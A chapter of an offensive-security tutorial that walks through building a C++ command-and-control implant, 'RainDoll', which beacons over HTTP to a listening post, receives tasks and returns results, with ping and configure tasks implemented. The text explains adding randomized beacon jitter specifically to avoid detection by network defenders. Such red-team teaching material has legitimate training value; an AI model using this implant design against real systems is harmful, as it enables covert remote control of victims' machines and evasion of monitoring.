* SK8PARK C2 by [Justin Bui](https://twitter.com/slyd0g) (<https://github.com/slyd0g/SK8PARK>)


# Chapter 3: Basic Implant & Tasking

Building a basic implant in C++ and how to add new tasks.

![](/files/-MDhafw8R9qTSycXoBPm)

{% file src="/files/-ML5zRG105McWVPYUp57" %}
Book Source Code
{% endfile %}

## Introduction

We'll be building a basic implant called **RainDoll** with some simple tasking in this chapter. The tasks will be the following:

* **Ping**: When receiving a ping message, respond back with a pong message.
* **Configure**: Set implant specific options such as running status and dwell time.
* **Execute**: Run OS commands provided by the user.
* **ListThreads**: List the threads in a given process.

This implant will be talking to the HTTP listening post (**Skytree**) we built in the previous chapter. The implant source code is heavily based on a project by [Josh Lospinoso](https://twitter.com/jalospinoso) and there are only minor modifications to the one authored by Josh. It was released as part of his talk on building implants with modern C++ called "C++ for Hackers" (<https://vimeo.com/384348826>). I highly recommend giving it a watch and checking out the [GitHub repository](https://github.com/JLospinoso/cpp-implant). The talk is very easy to understand as a beginner and you'll learn some neat techniques about the modern C++ language along the way. If you're interested in C++, consider checking out his book on the subject called C++ Crash Course (<https://nostarch.com/cppcrashcourse>).

## Prerequisites & Initial Files

For development, we'll be working on a Windows 10 64-bit system. This project will leverage a couple different libraries, including [Boost](https://www.boost.org/users/index.html). If you've never heard of Boost, it's an excellent resource for speeding up development with a wide array of out-of-the-box solutions to common programming challenges. Why should you use Boost libraries? According to the Boost website:

> In a word, *Productivity*. Use of high-quality libraries like Boost speeds initial development, results in fewer bugs, reduces reinvention-of-the-wheel, and cuts long-term maintenance costs. And since Boost libraries tend to become de facto or de jure standards, many programmers are already familiar with them.

We'll also be using C++ Requests (<https://github.com/whoshuu/cpr>) and JSON for Modern C++ (<https://github.com/nlohmann/json>). These will help us easily send HTTP requests with C++ and handle JSON without a lot of hassle. Lastly, we're going to be making heavy use of [Visual Studio 2019](https://visualstudio.microsoft.com/downloads/) and you'll want to ensure that it's installed/configured to use the "Desktop development with C++" workload (for help with getting this all setup, see the link [here](https://devblogs.microsoft.com/cppblog/getting-started-with-visual-studio-for-c-and-cpp-development/)).

So without further ado, let's begin! The above mentioned libraries can be installed using the package manager [vcpkg](https://docs.microsoft.com/en-us/cpp/build/vcpkg?view=msvc-160) (for Quick Start instructions on Windows, see the link [here](https://github.com/Microsoft/vcpkg#quick-start-windows)). Ensure that it's downloaded/bootstrapped somewhere like `C:\dev\vcpkg` and then run the following commands in an elevated PowerShell prompt:

**Integrate vcpkg with Visual Studio 2019**

```cpp
.\vcpkg integrate install
```

**Install the required packages**

```cpp
.\vcpkg install boost-uuid:x64-windows
.\vcpkg install boost-property-tree:x64-windows
.\vcpkg install boost-system:x64-windows
.\vcpkg install cpr:x64-windows
.\vcpkg install nlohmann-json:x64-windows
```

The installation of the Boost libraries in particular will probably take a while, so grab a tea or coffee while you wait. When the prerequisites are installed, we should be able to use them in our Visual Studio project successfully. Alternatively, Boost can be installed manually using the [Getting Started guide](https://www.boost.org/doc/libs/1_74_0/more/getting_started/windows.html) and JSON for Modern C++ can be downloaded as a header [here](https://github.com/nlohmann/json/releases/download/v3.9.1/json.hpp). C++ Requests can currently be built with vcpkg or Conan, as outlined [here](https://github.com/whoshuu/cpr#building-cpr---using-vcpkg).

Let's begin creating our implant by opening up Visual Studio 2019 and creating a Blank Project named "RainDoll", ensure that the language used is C++17. This can be verified by looking at the following option: `RainDoll Property Pages Window > General > C++ Language Standard > ISO C++ 17 Standard`

Create a file and call it `main.cpp` in the Source Files folder. We'll start by specifying the details of the listening post we built in the previous chapter:

{% tabs %}
{% tab title="main.cpp" %}

```cpp
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include <stdio.h>

int main()
{
    // Specify address, port and URI of listening post endpoint
    const auto host = "localhost";
    const auto port = "5000";
    const auto uri = "/results";
}
```

{% endtab %}
{% endtabs %}

## Implant Project Headers

Now, we're going to get to work on defining the details of our Implant object, starting with the headers. Create a new file called `implant.h` in the Headers Files folder in the Solution Explorer and add in the following code:

{% tabs %}
{% tab title="implant.h" %}

```cpp
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include "tasks.h"

#include <string>
#include <string_view>
#include <mutex>
#include <future>
#include <atomic>
#include <vector>
#include <random>

#include <boost/property_tree/ptree.hpp>

struct Implant {
	// Our implant constructor
	Implant(std::string host, std::string port, std::string uri);
	// The thread for servicing tasks
	std::future<void> taskThread;
	// Our public functions that the implant exposes
	void beacon();
	void setMeanDwell(double meanDwell);
	void setRunning(bool isRunning);
	void serviceTasks();

private:
	// Listening post endpoint args
	const std::string host, port, uri;
	// Variables for implant config, dwell time and running status
	std::exponential_distribution<double> dwellDistributionSeconds;
	std::atomic_bool isRunning;
	// Define our mutexes since we're doing async I/O stuff
	std::mutex taskMutex, resultsMutex;
	// Where we store our results
	boost::property_tree::ptree results;
	// Where we store our tasks
	std::vector<Task> tasks;
	// Generate random device
	std::random_device device;

	void parseTasks(const std::string& response);
	[[nodiscard]] std::string sendResults();
};

[[nodiscard]] std::string sendHttpRequest(std::string_view host,
	std::string_view port,
	std::string_view uri,
	std::string_view payload);

```

{% endtab %}
{% endtabs %}

We'll go one code block at a time and I'll explain the purpose of each section.&#x20;

```cpp
// Our implant constructor
Implant(std::string host, std::string port, std::string uri);
// The thread for servicing tasks
std::future<void> taskThread;
// Our public functions that the implant exposes
void beacon();
void setMeanDwell(double meanDwell);
void setRunning(bool isRunning);
void serviceTasks();
```

First, we define the Implant constructor. Next, we declare a thread that will service our tasks so we can perform work asynchronously. Then, we define four public functions. We'll want to have a function that performs a beaconing loop and continuously communicates with our listening post. We also want to have functions that are related to configuring the implant such as setting how long the wait time is between beacons (dwell time) and the running status (on/off). Lastly, we want to have a function that will go through all the tasks received from the listening post and perform them on the target:

Once you've written the above code, we'll start defining the private variables and functions for the Implant object:

```cpp
private:
	// Listening post endpoint args
	const std::string host, port, uri;
	// Variables for implant config, dwell time and running status
	std::exponential_distribution<double> dwellDistributionSeconds;
	std::atomic_bool isRunning;
	// Define our mutexes since we're doing async I/O stuff
	std::mutex taskMutex, resultsMutex;
	// Where we store our results
	boost::property_tree::ptree results;
	// Where we store our tasks
	std::vector<Task> tasks;
	// Generate random device
	std::random_device device;

	void parseTasks(const std::string& response);
	[[nodiscard]] std::string sendResults();
```

We define the variables to hold the details about our listening post. Next, we're declaring a variable for the dwell time and a simple Boolean for the running status. The `dwellDistributionSeconds` variable uses exponential distribution to produce a variable number of seconds to dwell for, ensuring that the communication pattern does not appear as a constant rate. We don't want the time between our beaconing requests to be constant because this appears highly suspicious to an analyst who might be reviewing network communications. We then declare some mutex variables that we will use to ensure our asynchronous I/O for the tasks and results are not interacting with things when they aren't supposed to. We'll use a property tree from the Boost library to store our results and pass a Task type to the vector template. We haven't defined a Task type yet so this will have a red squiggle underneath it, but we'll add that later. The last private variable is for generating a pseudo-random number.&#x20;

As for our private functions, we'll be declaring a function to parse tasks from the listening post response and a function to send task results to the listening post. You'll notice that we have an attribute called "\[\[nodiscard]]" attached to the "sendResults()" function. This attribute means that if the function return value is not used, then the compiler should throw a warning because something is wrong. We never expect to be in a situation were we make a call to send results and discard the return value. To learn more about the "\[\[nodiscard]]" attribute, see the resources [here](https://en.cppreference.com/w/cpp/language/attributes/nodiscard) and [here](https://www.bfilipek.com/2017/11/nodiscard.html).

Outside of the Implant object, we'll also be declaring a function to make the HTTP requests to the listening post. It will take the host, port and URI as arguments along with the payload we want to send:

```cpp
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
	std::string_view port,
	std::string_view uri,
	std::string_view payload);
```

That's it for the implant header, now let's move on to defining our tasks. Create a new file within the Header Files section in the Solution Explorer and call it `tasks.h`. It should contain the following code by the time we're done:

{% tabs %}
{% tab title="tasks.h" %}

```cpp
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include "results.h"

#include <variant>
#include <string>
#include <string_view>

#include <boost/uuid/uuid.hpp>
#include <boost/property_tree/ptree.hpp>


// Define implant configuration
struct Configuration {
	Configuration(double meanDwell, bool isRunning);
	const double meanDwell;
	const bool isRunning;
};


// Tasks
// ===========================================================================================

// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
	PingTask(const boost::uuids::uuid& id);
	constexpr static std::string_view key{ "ping" };
	[[nodiscard]] Result run() const;
	const boost::uuids::uuid id;
};


// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
	ConfigureTask(const boost::uuids::uuid& id,
		double meanDwell,
		bool isRunning,
		std::function<void(const Configuration&)> setter);
	constexpr static std::string_view key{ "configure" };
	[[nodiscard]] Result run() const;
	const boost::uuids::uuid id;
private:
	std::function<void(const Configuration&)> setter;
	const double meanDwell;
	const bool isRunning;
};


// ===========================================================================================

// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask>;

[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
	std::function<void(const Configuration&)> setter);

```

{% endtab %}
{% endtabs %}

First thing we do is define our Configuration object that will hold the settings for implant dwell time and running status:

```cpp
// Define implant configuration
struct Configuration {
	Configuration(double meanDwell, bool isRunning);
	const double meanDwell;
	const bool isRunning;
};
```

Next, let's define a simple ping task:&#x20;

```cpp
// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
	PingTask(const boost::uuids::uuid& id);
	constexpr static std::string_view key{ "ping" };
	[[nodiscard]] Result run() const;
	const boost::uuids::uuid id;
};
```

After the constructor, we provide a key to identify the task and call it "ping". We then declare a "run()" function that will return a Result object and mark it as "nodiscard". We haven't yet defined the Result object so this will appear with a red squiggle underneath. However, we'll add this in later so don't worry about it for now. Lastly, we specify a UUID to help track the individual tasks that are executing.

We'll work on the configure task next which will set the dwell time and running status:&#x20;

```cpp
// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
	ConfigureTask(const boost::uuids::uuid& id,
		double meanDwell,
		bool isRunning,
		std::function<void(const Configuration&)> setter);
	constexpr static std::string_view key{ "configure" };
	[[nodiscard]] Result run() const;
	const boost::uuids::uuid id;
private:
	std::function<void(const Configuration&)> setter;
	const double meanDwell;
	const bool isRunning;
};
```

After the constructor, we set a key to identify the task and call it "configure". The rest of the code is the same as the ping task, except that we have some private variables to store the mean dwell time value and the running status.

Lastly, we declare the function that will be responsible for parsing the tasks we receive from the listening post:

```cpp
// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask>;

[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
	std::function<void(const Configuration&)> setter);
```

It's now time for us to fill out the contents of our last header file, go ahead and create a file named `results.h` and ensure it's created in the Header Files section. We'll be writing the following code:

{% tabs %}
{% tab title="results.h" %}

```cpp
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include <string>
#include <boost/uuid/uuid.hpp>

// Define our Result object
struct Result {
	Result(const boost::uuids::uuid& id,
		std::string contents,
		bool success);
	const boost::uuids::uuid id;
	const std::string contents;
	const bool success;
};
```

{% endtab %}
{% endtabs %}

The results object will contain a UUID to keep track of each result we return, a string variable to hold the contents of the result and a boolean to signal if the task was successful or not. We're finally ready to open up the `main.cpp` file again and add in the rest of our main code below the listening post endpoint variables:

{% tabs %}
{% tab title="main.cpp" %}

```cpp
// Instantiate our implant object
Implant implant{ host, port, uri };
// Call the beacon method to start beaconing loop
try {
    implant.beacon();
}
catch (const boost::system::system_error& se) {
    printf("\nSystem error: %s\n", se.what());
}
```

{% endtab %}
{% endtabs %}

As you can see in the code above, we instantiate an Implant object with the listening post details and then call the "beacon()" function to start the beaconing loop. The full contents of the main.cpp file should look like the following:

{% tabs %}
{% tab title="main.cpp" %}

```cpp
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "implant.h"

#include <stdio.h>

#include <boost/system/system_error.hpp>


int main()
{
    // Specify address, port and URI of listening post endpoint
    const auto host = "localhost";
    const auto port = "5000";
    const auto uri = "/results";
    // Instantiate our implant object
    Implant implant{ host, port, uri };
    // Call the beacon method to start beaconing loop
    try {
        implant.beacon();
    }
    catch (const boost::system::system_error& se) {
        printf("\nSystem error: %s\n", se.what());
    }
}
```

{% endtab %}
{% endtabs %}

Phew, that was a lot of work to lay out the boilerplate for our implant! But, we're now ready to get into the nitty gritty details of our implant logic.

## Implant Code

The code you should have up to this point can be found in the folder called "**chapter\_3-1**". Now, create a new file and call it `implant.cpp`, ensure it's created in the Source Files section. We'll be writing the following code in this part of the chapter, don't worry too much if you don't understand all of it. I'll be reviewing each major section shortly:

{% tabs %}
{% tab title="implant.cpp" %}

```cpp
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "implant.h"
#include "tasks.h"

#include <string>
#include <string_view>
#include <iostream>
#include <chrono>
#include <algorithm>

#include <boost/uuid/uuid_io.hpp>
#include <boost/property_tree/json_parser.hpp>
#include <boost/property_tree/ptree.hpp>

#include <cpr/cpr.h>

#include <nlohmann/json.hpp>

using json = nlohmann::json;


// Function to send an asynchronous HTTP POST request with a payload to the listening post
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
    std::string_view port,
    std::string_view uri,
    std::string_view payload) {
    // Set all our request constants
    auto const serverAddress = host;
    auto const serverPort = port;
    auto const serverUri = uri;
    auto const httpVersion = 11;
    auto const requestBody = json::parse(payload);

    // Construct our listening post endpoint URL from user args, only HTTP to start
    std::stringstream ss;
    ss << "http://" << serverAddress << ":" << serverPort << serverUri;
    std::string fullServerUrl = ss.str();

    // Make an asynchronous HTTP POST request to the listening post
    cpr::AsyncResponse asyncRequest = cpr::PostAsync(cpr::Url{ fullServerUrl },
        cpr::Body{ requestBody.dump() },
        cpr::Header{ {"Content-Type", "application/json"} }
    );
    // Retrieve the response when it's ready
    cpr::Response response = asyncRequest.get();

    // Show the request contents
    std::cout << "Request body: " << requestBody << std::endl;

    // Return the body of the response from the listening post, may include new tasks
    return response.text;
};

// Method to enable/disable the running status on our implant
void Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }


// Method to set the mean dwell time on our implant
void Implant::setMeanDwell(double meanDwell) {
    // Exponential_distribution allows random jitter generation
    dwellDistributionSeconds = std::exponential_distribution<double>(1. / meanDwell);
}

// Method to send task results and receive new tasks
[[nodiscard]] std::string Implant::sendResults() {
    // Local results variable
    boost::property_tree::ptree resultsLocal;
    // A scoped lock to perform a swap
    {
        std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
        resultsLocal.swap(results);
    }
    // Format result contents
    std::stringstream resultsStringStream;
    boost::property_tree::write_json(resultsStringStream, resultsLocal);
    // Contact listening post with results and return any tasks received
    return sendHttpRequest(host, port, uri, resultsStringStream.str());
}

// Method to parse tasks received from listening post
void Implant::parseTasks(const std::string& response) {
    // Local response variable
    std::stringstream responseStringStream{ response };

    // Read response from listening post as JSON
    boost::property_tree::ptree tasksPropTree;
    boost::property_tree::read_json(responseStringStream, tasksPropTree);

    // Range based for-loop to parse tasks and push them into the tasks vector
    // Once this is done, the tasks are ready to be serviced by the implant
    for (const auto& [taskTreeKey, taskTreeValue] : tasksPropTree) {
        // A scoped lock to push tasks into vector, push the task tree and setter for the configuration task
        {
            tasks.push_back(
                parseTaskFrom(taskTreeValue, [this](const auto& configuration) {
                    setMeanDwell(configuration.meanDwell);
                    setRunning(configuration.isRunning); })
            );
        }
    }
}

// Loop and go through the tasks received from the listening post, then service them
void Implant::serviceTasks() {
    while (isRunning) {
        // Local tasks variable
        std::vector<Task> localTasks;
        // Scoped lock to perform a swap
        {
            std::scoped_lock<std::mutex> taskLock{ taskMutex };
            tasks.swap(localTasks);
        }
        // Range based for-loop to call the run() method on each task and add the results of tasks
        for (const auto& task : localTasks) {
            // Call run() on each task and we'll get back values for id, contents and success
            const auto [id, contents, success] = std::visit([](const auto& task) {return task.run(); }, task);
            // Scoped lock to add task results
            {
                std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
                results.add(boost::uuids::to_string(id) + ".contents", contents);
                results.add(boost::uuids::to_string(id) + ".success", success);
            }
        }
        // Go to sleep
        std::this_thread::sleep_for(std::chrono::seconds{ 1 });
    }
}

// Method to start beaconing to the listening post
void Implant::beacon() {
    while (isRunning) {
        // Try to contact the listening post and send results/get back tasks
        // Then, if tasks were received, parse and store them for execution
        // Tasks stored will be serviced by the task thread asynchronously
        try {
            std::cout << "RainDoll is sending results to listening post...\n" << std::endl;
            const auto serverResponse = sendResults();
            std::cout << "\nListening post response content: " << serverResponse << std::endl;
            std::cout << "\nParsing tasks received..." << std::endl;
            parseTasks(serverResponse);
            std::cout << "\n================================================\n" << std::endl;
        }
        catch (const std::exception& e) {
            printf("\nBeaconing error: %s\n", e.what());
        }
        // Sleep for a set duration with jitter and beacon again later
        const auto sleepTimeDouble = dwellDistributionSeconds(device);
        const auto sleepTimeChrono = std::chrono::seconds{ static_cast<unsigned long long>(sleepTimeDouble) };

        std::this_thread::sleep_for(sleepTimeChrono);
    }
}

// Initialize variables for our object
Implant::Implant(std::string host, std::string port, std::string uri) :
    // Listening post endpoint URL arguments
    host{ std::move(host) },
    port{ std::move(port) },
    uri{ std::move(uri) },
    // Options for configuration settings
    isRunning{ true },
    dwellDistributionSeconds{ 1. },
    // Thread that runs all our tasks, performs asynchronous I/O
    taskThread{ std::async(std::launch::async, [this] { serviceTasks(); }) } {
}
```

{% endtab %}
{% endtabs %}

First thing we'll do is write a function to perform the HTTP requests to the listening post. This is the section that makes use of C++ Requests (<https://github.com/whoshuu/cpr>) and JSON for Modern C++ (<https://github.com/nlohmann/json>). Ensure that both of these headers are loaded and available for use in the project before proceeding with writing the rest of the implant code:

```cpp
// Function to send an asynchronous HTTP POST request with a payload to the listening post
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
    std::string_view port,
    std::string_view uri,
    std::string_view payload) {
    // Set all our request constants
    auto const serverAddress = host;
    auto const serverPort = port;
    auto const serverUri = uri;
    auto const httpVersion = 11;
    auto const requestBody = json::parse(payload);

    // Construct our listening post endpoint URL from user args, only HTTP to start
    std::stringstream ss;
    ss << "http://" << serverAddress << ":" << serverPort << serverUri;
    std::string fullServerUrl = ss.str();

    // Make an asynchronous HTTP POST request to the listening post
    cpr::AsyncResponse asyncRequest = cpr::PostAsync(cpr::Url{ fullServerUrl },
        cpr::Body{ requestBody.dump() },
        cpr::Header{ {"Content-Type", "application/json"} }
    );
    // Retrieve the response when it's ready
    cpr::Response response = asyncRequest.get();

    // Show the request contents
    std::cout << "Request body: " << requestBody << std::endl;

    // Return the body of the response from the listening post, may include new tasks
    return response.text;
};
```

We start out by setting all the constants for the HTTP request including the address of the server and port, the HTTP protocol version (1.1) and the request body that will hold our JSON payload. Next, we construct the full server URL out of the constants and make an asynchronous HTTP POST request to the server with our request body. The request body will be what holds the results of any tasks that were run previously. Finally, we store the response and return the response text to the function caller.

In the next section, we'll cover the functions needed for setting the implant running status and mean dwell time:

```cpp
// Method to enable/disable the running status on our implant
void Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }


// Method to set the mean dwell time on our implant
void Implant::setMeanDwell(double meanDwell) {
    // Exponential_distribution allows random jitter generation
    dwellDistributionSeconds = std::exponential_distribution<double>(1. / meanDwell);
}
```

The setRunning() function takes a Boolean and sets the "isRunning" flag. This will tell the implant if it should continue running task code or if it should terminate and cease all functioning. The "setMeanDwell" function will be what tells the implant how often it should contact the listening post for instructions or how long it should "dwell" for. Again, it's generally a bad idea to have a consistent dwell time, because it sticks out like a sore thumb in network logs. If a defender looks into the network traffic and sees something beaconing out to the internet every 5 minutes like clockwork. That is the type of thing that will warrant further investigation. However, if like most traffic that's going out to the internet, your dwell time is less consistent, then you will blend in more. That's why, we use an exponential distribution to give our dwell time random jitter or variations in time that will appear random.

Next, we'll look at the function to send task results to the listening post:

```cpp
// Method to send task results and receive new tasks
[[nodiscard]] std::string Implant::sendResults() {
    // Local results variable
    boost::property_tree::ptree resultsLocal;
    // A scoped lock to perform a swap
    {
        std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
        resultsLocal.swap(results);
    }
    // Format result contents
    std::stringstream resultsStringStream;
    boost::property_tree::write_json(resultsStringStream, resultsLocal);
    // Contact listening post with results and return any tasks received
    return sendHttpRequest(host, port, uri, resultsStringStream.str());
}
```

We use the Boost [Property Tree](https://www.boost.org/doc/libs/1_65_1/doc/html/property_tree.html) type to store the results in JSON format. We'll use a [scoped lock](https://en.cppreference.com/w/cpp/thread/scoped_lock) to swap the values of the results into the local variable "resultsLocal". Using a scoped lock is necessary because we're doing things asynchronously and we want to ensure that we're not stepping on another thread's toes while we swap to get the task results. Finally, we format the result contents and pass the request body to the "sendHttpRequest" function for delivery to our listening post.

Now that we've got a function to send results, let's look at the "parseTasks" function to process implant tasks:

```cpp
// Method to parse tasks received from listening post
void Implant::parseTasks(const std::string& response) {
    // Local response variable
    std::stringstream responseStringStream{ response };

    // Read response from listening post as JSON
    boost::property_tree::ptree tasksPropTree;
    boost::property_tree::read_json(responseStringStream, tasksPropTree);

    // Range based for-loop to parse tasks and push them into the tasks vector
    // Once this is done, the tasks are ready to be serviced by the implant
    for (const auto& [taskTreeKey, taskTreeValue] : tasksPropTree) {
        // A scoped lock to push tasks into vector, push the task tree and setter for the configuration task
        {
            tasks.push_back(
                parseTaskFrom(taskTreeValue, [this](const auto& configuration) {
                    setMeanDwell(configuration.meanDwell);
                    setRunning(configuration.isRunning); })
            );
        }
    }
}
```

The first thing we do is declare a String Stream variable to hold the response with the tasks we got from the listening post. We read the response as a JSON message and then for each key-value pair, we push them into a vector called "tasks". We also call the setter functions "setMeanDwell" and "setRunning" for the implant configuration.

We're almost done going over all the code in the implant section, the last major thing we want to do is go through all the tasks and run the code to execute them in a dedicated thread. Let's talk about the "serviceTasks" function:

```cpp
// Loop and go through the tasks received from the listening post, then service them
void Implant::serviceTasks() {
    while (isRunning) {
        // Local tasks variable
        std::vector<Task> localTasks;
        // Scoped lock to perform a swap
        {
            std::scoped_lock<std::mutex> taskLock{ taskMutex };
            tasks.swap(localTasks);
        }
        // Range based for-loop to call the run() method on each task and add the results of tasks
        for (const auto& task : localTasks) {
            // Call run() on each task and we'll get back values for id, contents and success
            const auto [id, contents, success] = std::visit([](const auto& task) {return task.run(); }, task);
            // Scoped lock to add task results
            {
                std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
                results.add(boost::uuids::to_string(id) + ".contents", contents);
                results.add(boost::uuids::to_string(id) + ".success", success);
            }
        }
        // Go to sleep
        std::this_thread::sleep_for(std::chrono::seconds{ 1 });
    }
}
```

We begin with a while-loop that runs based on the status of the Boolean "isRunning" flag that's set in our implant configuration object. Then, we declare a local vector variable for storing our tasks. After that, we have a scoped lock and we access the object that holds the tasks we got back from the listening post, then push them into our "localTasks" variable. Again, we use the scoped lock because we're performing these actions asynchronously and we want avoid stepping on another thread's toes. Finally, we use a for-loop to go through each task and call their declared "run" method. We place the returned "id", "contents" and "success" values into respective variables. We then enter a scoped lock to call the "results.add()" function and store our task results/success status. Then, we tell the thread to go to sleep for 1 second.

We can now put everything together and talk about the "beacon" function that runs a while-loop:

```cpp
// Method to start beaconing to the listening post
void Implant::beacon() {
    while (isRunning) {
        // Try to contact the listening post and send results/get back tasks
        // Then, if tasks were received, parse and store them for execution
        // Tasks stored will be serviced by the task thread asynchronously
        try {
            std::cout << "RainDoll is sending results to listening post...\n" << std::endl;
            const auto serverResponse = sendResults();
            std::cout << "\nListening post response content: " << serverResponse << std::endl;
            std::cout << "\nParsing tasks received..." << std::endl;
            parseTasks(serverResponse);
            std::cout << "\n================================================\n" << std::endl;
        }
        catch (const std::exception& e) {
            printf("\nBeaconing error: %s\n", e.what());
        }
        // Sleep for a set duration with jitter and beacon again later
        const auto sleepTimeDouble = dwellDistributionSeconds(device);
        const auto sleepTimeChrono = std::chrono::seconds{ static_cast<unsigned long long>(sleepTimeDouble) };

        std::this_thread::sleep_for(sleepTimeChrono);
    }
}
```

The loop we see in the above code runs based on the value of the "isRunning" variable. It's going to try and contact the listening post by sending any task results (or a blank JSON payload if there are no results). Then, it's going to parse the tasks received from the listening post inside the "serverResponse" variable. The "serviceTasks" thread that's running asynchronously will execute each task after they're parsed and stored. Finally, we sleep for a jittered amount of time so we aren't sending requests too regularly and can appear less suspicious in network traffic.

The last minor block of code to cover is the Implant constructor:

```cpp
// Initialize variables for our object
Implant::Implant(std::string host, std::string port, std::string uri) :
    // Listening post endpoint URL arguments
    host{ std::move(host) },
    port{ std::move(port) },
    uri{ std::move(uri) },
    // Options for configuration settings
    isRunning{ true },
    dwellDistributionSeconds{ 1. },
    // Thread that runs all our tasks, performs asynchronous I/O
    taskThread{ std::async(std::launch::async, [this] { serviceTasks(); }) } {
}
```

The above code block is relatively straightforward, we're moving the listening post endpoint URL arguments from the user into variables and setting the initial options for the implant configuration. Lastly, we start the task thread that will run the "serviceTasks" function and actually run all of our task code.

## Results Code

The portion of the code dealing with task results will be pretty short, go ahead and create a `results.cpp` file within the Source Files directory. The contents will be as follows.

{% tabs %}
{% tab title="results.cpp" %}

```cpp
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "results.h"


// Result object returned by all tasks
// Includes the task ID, result contents and success status (true/false)
Result::Result(const boost::uuids::uuid& id,
	std::string contents,
	const bool success)
	: id(id), contents{ std::move(contents) }, success(success) {}
```

{% endtab %}
{% endtabs %}

As you can see, we are simply declaring the Result object that instantiates an id, result contents and the success status of the task. That's all for the results section, let's move on to the next portion of our implant, the tasks themselves!

## Tasks Code

So far, we've gone over our implant logic and the results, we now need to define what each of the tasks do when they're requested by an operator from the listening post. Our finished tasks code will be created in a file called `tasks.cpp` within the Source Files directory. We'll go over each section in detail, so don't worry about trying to understand all of this right away:

{% tabs %}
{% tab title="tasks.cpp" %}

```cpp
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "tasks.h"

#include <string>
#include <array>
#include <sstream>
#include <fstream>
#include <cstdlib>

#include <boost/uuid/uuid_io.hpp>
#include <boost/property_tree/ptree.hpp>

#include <Windows.h>
#include <tlhelp32.h>


// Function to parse the tasks from the property tree returned by the listening post
// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
    std::function<void(const Configuration&)> setter) {
    // Get the task type and identifier, declare our variables
    const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
    const auto idString = taskTree.get_child("task_id").get_value<std::string>();
    std::stringstream idStringStream{ idString };
    boost::uuids::uuid id{};
    idStringStream >> id;

    // Conditionals to determine which task should be executed based on key provided
    // REMEMBER: Any new tasks must be added to the conditional check, along with arg values
    // ===========================================================================================
    if (taskType == PingTask::key) {
        return PingTask{
            id
        };
    }
    if (taskType == ConfigureTask::key) {
        return ConfigureTask{
            id,
            taskTree.get_child("dwell").get_value<double>(),
            taskTree.get_child("running").get_value<bool>(),
            std::move(setter)
        };
    }

    // ===========================================================================================

    // No conditionals matched, so an undefined task type must have been provided and we error out
    std::string errorMsg{ "Illegal task type encountered: " };
    errorMsg.append(taskType);
    throw std::logic_error{ errorMsg };
}

// Instantiate the implant configuration
Configuration::Configuration(const double meanDwell, const bool isRunning)
    : meanDwell(meanDwell), isRunning(isRunning) {}


// Tasks
// ===========================================================================================

// PingTask
// -------------------------------------------------------------------------------------------
PingTask::PingTask(const boost::uuids::uuid& id)
    : id{ id } {}

Result PingTask::run() const {
    const auto pingResult = "PONG!";
    return Result{ id, pingResult, true };
}


// ConfigureTask
// -------------------------------------------------------------------------------------------
ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,
    double meanDwell,
    bool isRunning,
    std::function<void(const Configuration&)> setter)
    : id{ id },
    meanDwell{ meanDwell },
    isRunning{ isRunning },
    setter{ std::move(setter) } {}

Result ConfigureTask::run() const {
    // Call setter to set the implant configuration, mean dwell time and running status
    setter(Configuration{ meanDwell, isRunning });
    return Result{ id, "Configuration successful!", true };
}

// ===========================================================================================

```

{% endtab %}
{% endtabs %}

The section we'll focus on first is the block that deals with parsing the tasks and calling the returning the proper task objects:

```cpp
// Function to parse the tasks from the property tree returned by the listening post
// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
    std::function<void(const Configuration&)> setter) {
    // Get the task type and identifier, declare our variables
    const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
    const auto idString = taskTree.get_child("task_id").get_value<std::string>();
    std::stringstream idStringStream{ idString };
    boost::uuids::uuid id{};
    idStringStream >> id;

    // Conditionals to determine which task should be executed based on key provided
    // REMEMBER: Any new tasks must be added to the conditional check, along with arg values
    // ===========================================================================================
    if (taskType == PingTask::key) {
        return PingTask{
            id
        };
    }
    if (taskType == ConfigureTask::key) {
        return ConfigureTask{
            id,
            taskTree.get_child("dwell").get_value<double>(),
            taskTree.get_child("running").get_value<bool>(),
            std::move(setter)
        };
    }

    // ===========================================================================================

    // No conditionals matched, so an undefined task type must have been provided and we error out
    std::string errorMsg{ "Illegal task type encountered: " };
    errorMsg.append(taskType);
    throw std::logic_error{ errorMsg };
}
```

The "parseTaskFrom" function starts by accessing the task tree passed in by the user, then setting the corresponding task type and task ID variables. Recall that the task tree being parsed is the JSON message that was received from the listening post and it will be what contains the requested operator tasks. We then check to see which task we need to execute by doing some if-conditional logic. So, if the variable for "taskType" has a value that's equal to the Ping task key, then we return a Ping task object and the associated "run" method containing the task code will be called.

